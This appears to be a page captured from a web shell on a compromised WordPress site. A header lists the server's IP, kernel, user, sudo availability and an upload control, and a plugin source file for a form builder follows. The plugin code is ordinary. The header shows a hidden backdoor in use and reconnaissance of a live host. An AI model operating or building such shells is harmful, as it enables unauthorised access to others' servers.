Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_www/wp-content/plugins/form-wizard/ |
Upload File : |
<?php
// Field defs
// https://hopeinstoughton.org:8443/smb/web/settings/id/41
/* to do
delete links in admin
view submitted entries
summary report
nonces
Bugs
notification tab - minimum page width
"separate each recipient with a comma"
Features in next version:
field preview
reference numbers #zxcasfd
Features available in Full Version
+delete akismet spam posts after 7 days
+default values for forms
+create text email from html
+export data
+reply to: email address of client
*/
class field_wizard_field {
function __construct($aparent) {
$this->fieldname = 'untitled';
$this->caption = '';
$this->footer = '';
$this->params = array(); // local (read-only) copy of the settings)
$this->fielderror = '';
$this->parent = $aparent;
}
public function GetDefaultValues($settings) {
}
public function FieldType() {
}
public function isRequired() {
return 0;
}
public function SettingsFields_AsHTML() {
return '';
}
public function AsHTML($value) {
}
public function GetStyle() {
}
public function FieldPriority() {
return 10; // normal priority
}
// has the field been filled in by a bot. eg; is this a CAPTCHA field with an incorrect response?
public function isBot() {
return 0;
}
// display the chosen value in a human-understandable format
public function AsDisplay($value) {
return $value;
}
function FieldBase($fieldtext) {
$h = __($this->caption);
$class = ($this->fielderror != '') ? ' formwizard-err' : '';
$footer = $this->footer;
if ($footer != '') $footer = ' ' . $footer;
if ($this->isRequired()) {
$class .= ' formwizard-req';
$h .= '*';
}
if ($class != '') {
$h = '<span class="'. $class . '">' . $h . '</span>';
}
return <<<BLOCK
<div class="formwizard_field" id="formwiz_item_{$this->fieldname}">
<div class="formwiz_col" style="width:{$this->parent->COL1}px"><label for="{$this->fieldname}">$h</label></div>
<div class="formwiz_col$class" style="width:{$this->parent->COL2}px">$fieldtext{$footer}</div>
</div>
BLOCK;
}
public function FieldSettings($fieldname, $caption = '', $params = array()) {
$this->fieldname = $fieldname;
$this->caption = $caption;
$this->params = array_merge($this->params, $params);
}
public function LoadValue() {
$value = '';
$fieldname = $this->fieldname;
if (isset($this->parent->callback)) { // retrieve a value for the field from the database
$c = count($this->parent->callback) - 1;
if ($c >= 0) {
$v = $this->parent->callback[$c];
if (is_array($v)) {
$value = $v[0]->{$v[1]}($fieldname);
} elseif (is_string($v) && function_exists($v)) {
$value = $v($fieldname);
}
}
}
// $this->params['value'] = $value;
return $value;
}
public function AddWizardSubField($fieldname, $fieldtype, $caption) {
$parent = $this->parent;
$fieldobject = $parent->NewFieldObject($fieldtype);
if ($fieldobject == FALSE) {
die("unknown field type: $fieldtype\n");
}
if (isset($this->params[$fieldname])) {
$params = $this->params[$fieldname]; // values are inherited from the parent
} else {
$params = array();
}
$fieldobject->FieldSettings($fieldname, $caption, $params);
if ($parent->isPost) {
$parent->data_callback[$fieldname]['value'] = isset($_POST[$fieldname]) ? trim(stripslashes($_POST[$fieldname])) : '';
}
if (isset($parent->data_callback[$fieldname]['value'])) $fieldobject->params['value'] = $parent->data_callback[$fieldname]['value'];
$value = isset($fieldobject->params['value']) ? $fieldobject->params['value'] : '';
$this->params[$fieldname]['value'] = $value; // allow owner of this setting access to its value
return $fieldobject->AsHTML($value);
}
}
/////////////////////////////////////////////////////////////////////////////////////////
class field_wizard_fields {
function __construct() {
$this->base = plugin_dir_path(__FILE__ );
$this->COL1 = 130;
$this->COL2 = 500;
$this->errorcount = 0;
$this->fields = array();
$this->recalc = 1;
}
// load in all the field definitions
function _enum() {
$this->isPost = $_SERVER['REQUEST_METHOD'] == 'POST';
$this->field_types = array();
$m = glob($this->base . 'fielddefs/*.php');
foreach($m as $filename) {
$class = basename($filename, '.php');
include_once $filename;
$item = new $class($this);
$fieldtype = $item->FieldType();
$this->field_types[$fieldtype] = array(
'class' => $class,
'value' => $item);
}
}
// Returns the width of the form, in pixels
public function SetFormLayout($md_width, $md_format) { // width in pixels; form layout
if (!$md_width) $md_width = 500;
if (!$md_format) $md_format = 1;
$this->form_layout = intval($md_format);
$this->COL2 = intval($md_width);
switch($this->form_layout) {
case 1:
$wd = $this->COL1 + $this->COL2;
break;
case 2:
$wd = $this->COL1;
if ($this->COL2 > $wd) $wd = $this->COL2;
break;
case 3:
$wd = $this->COL2;
}
return $wd;
}
public function GetSupportedFieldTypes() {
$output = array();
$output[''] = '(please choose one)';
foreach($this->field_types as $fieldtype => $classinfo) {
$output[$fieldtype] = $fieldtype;
}
ksort($output);
return $output;
}
public function NewFieldObject($fieldtype) {
if (!isset($this->field_types[$fieldtype])) return FALSE; // unsupported field type
$class = $this->field_types[$fieldtype]['class'];
$n = new $class($this);
$this->fields[] = $n;
return $n;
}
public function Callback_push($x = FALSE) {
$this->callback[] = $x;
}
public function Callback_pop() {
array_pop($this->callback);
}
// Use the Form_Wizard to add a field to the admin pages
public function AddWizardField($fieldname, $fieldtype, $caption = '', $params = array()) {
global $fielddefs;
$this->recalc = 1;
$fieldobject = $this->NewFieldObject($fieldtype);
if ($fieldobject == FALSE) {
die("unknown field type: $fieldtype\n");
}
$fieldobject->FieldSettings($fieldname, $caption, $params);
$footer = isset($params['footer']) ? $params['footer'] : '';
$fieldobject->footer = $footer;
$width = empty($params['width']) ? 0 : intval($params['width']);
if ($width) $fieldobject->width = $width;
$value = $fieldobject->LoadValue();
if ($value == '' && ! $this->isPost && isset($fieldobject->params['value'])) $value = $fieldobject->params['value'];
return $fieldobject->AsHTML($value);
}
public function NewWizardField($fieldname, $fieldtype, $caption = '', $params = array()) {
global $fielddefs;
$this->recalc = 1;
$fieldobject = $this->NewFieldObject($fieldtype);
if ($fieldobject == FALSE) {
die("unknown field type: $fieldtype\n");
}
$fieldobject->FieldSettings($fieldname, $caption, $params);
}
// format the value in a human readable format
public function AsValue($fieldtype, $value) {
if (method_exists($this->field_types[$fieldtype]['value'], 'AsDisplay')) {
return $this->field_types[$fieldtype]['value']->AsDisplay($value);
} else {
return $value;
}
}
// data should be loaded before calling this function
function GetWizardFieldSettings(&$DATA, $default = '') {
$output = '';
$this->data_callback = &$DATA; // current settings from the database
foreach($this->field_types as $fieldtype => $classinfo) {
$style = $fieldtype == $default ? '' : ' style="display:none;"';
$settings = $classinfo['value']->SettingsFields_AsHTML($fieldtype); // fieldtype is the prefix for the fieldname
if ($settings != '') {
$output .= "<div id=\"sett_$fieldtype\"$style>$settings</div>";
}
}
return $output;
}
// Retrieve the value in the first email Field
function GetEmailAddress() {
foreach($this->fields as $fielditem) {
$type = $fielditem->FieldType();
if ($type == 'email') {
return $fielditem->params['value'];
}
}
return '';
}
// this generates the html for the error messages - it is normally below the form.
function ErrorMessages($setfocus = 1) {
$output = ''; $count = 0;
$first_goodfield = '';
$first_errorfield = '';
foreach($this->fields as $fielditem) {
$type = $fielditem->FieldType();
if ($fielditem->fielderror != '') {
$output .= "<li>{$fielditem->fielderror}</li>\n";
$count++;
if ($first_errorfield == '') $first_errorfield = $fielditem->fieldname;
} elseif ($type != 'submit' && $type != 'hidden' && $type != 'readonly' && $first_goodfield == '') {
$first_goodfield = $fielditem->fieldname;
}
}
// move focus to first field
if ($first_errorfield == '' && $setfocus) $first_errorfield = $first_goodfield;
$result = '';
if ($count) {
$wd = $this->COL1 + $this->COL2 - 12;
$errors = ($count == 1) ? 'error' : 'errors';
$result .= <<<BLOCK
<div id="form-wizard-error-list" style="width:{$wd}px">
<p>The form could not be accepted - please correct the following $errors and try again:</p>
$output
</div>
BLOCK;
}
if ($first_errorfield == '') return $result; // not autofocus requested
return <<<BLOCK
$result
<script type="text/javascript">
jQuery(function() {
jQuery('#{$first_errorfield}').focus();
});
</script>
BLOCK;
}
// only occurs when data is posted
function CheckRequired($fieldobject, $value) {
$fieldobject->required = $required ?? 0;
if ($fieldobject->required && trim($value) == '') {
$fieldobject->fielderror = "<b>{$fieldobject->caption}</b> is a required field";
$this->errorcount++;
return;
}
if (method_exists($fieldobject, 'Validate')) {
$res = $fieldobject->Validate($value);
if ($res != '') {
$fieldobject->fielderror = $res;
$this->errorcount++;
return;
}
}
if (isset($fieldobject->params['onvalidate'])) {
$m = $fieldobject->params['onvalidate'];
if (is_array($m)) {
$res = call_user_func($m, $value);
} else {
$res = $m($value);
}
if ($res != '') {
$fieldobject->fielderror = $res;
$this->errorcount++;
return;
}
}
}
function FieldByFieldname($fieldname) {
foreach($this->fields as $fieldobject) {
if ($fieldobject->fieldname == $fieldname) return $fieldobject;
}
return NULL;
}
// sort fields by Priority
function _GetFieldPriority() {
$sorted_fields = array();
foreach($this->fields as $fieldobject) {
$sorted_fields[$fieldobject->fieldname] = array('obj' => $fieldobject, 'pri' => $fieldobject->FieldPriority());
}
uasort($sorted_fields, array($this, '__sort_by_priority'));
return $sorted_fields;
}
function __sort_by_priority($a, $b) {
if ($a['pri'] == $b['pri']) return 0;
return ($a['pri'] < $b['pri']) ? -1 : 1;
}
// Check for errors, store values from $_POST into objects
function Execute() {
if ($this->isPost) {
$order = $this->_GetFieldPriority($this->fields);
foreach($order as $fieldname => $data) {
$fieldobject = $data['obj'];
$value = $fieldobject->LoadValue();
$fieldobject->params['value'] = $value; // save posted data
$this->CheckRequired($fieldobject, $value); // there is an order to this. A field may depend on other fields validating correctly
}
$this->recalc = 0;
}
}
function isBot() {
$aBot = 0;
foreach($this->fields as $fieldobject) {
if ($fieldobject->isBot()) $aBot = 1;
}
return $aBot;
}
function AsHTML($fieldset = NULL) {
if ($fieldset === NULL) {
$fieldset = array();
foreach($this->fields as $fieldobject) {
$fieldset[] = $fieldobject->fieldname;
}
}
$styles = '';
foreach($fieldset as $fieldname) {
$fieldobject = $this->FieldByFieldname($fieldname);
if ($fieldobject !== NULL) {
$styles .= $fieldobject->GetStyle();
}
}
$output = '';
if ($styles != '') {
$output .= "<style type=\"text/css\">$styles</style>";
}
foreach($fieldset as $fieldname) {
$fieldobject = $this->FieldByFieldname($fieldname);
if ($fieldobject !== NULL) {
$value = $fieldobject->LoadValue();
if ($value == '' && ! $this->isPost && isset($fieldobject->params['value'])) $value = $fieldobject->params['value'];
$output .= $fieldobject->AsHTML($value);
}
}
return $output;
}
}
global $fielddefs;
$fielddefs = new field_wizard_fields();
$fielddefs->_enum();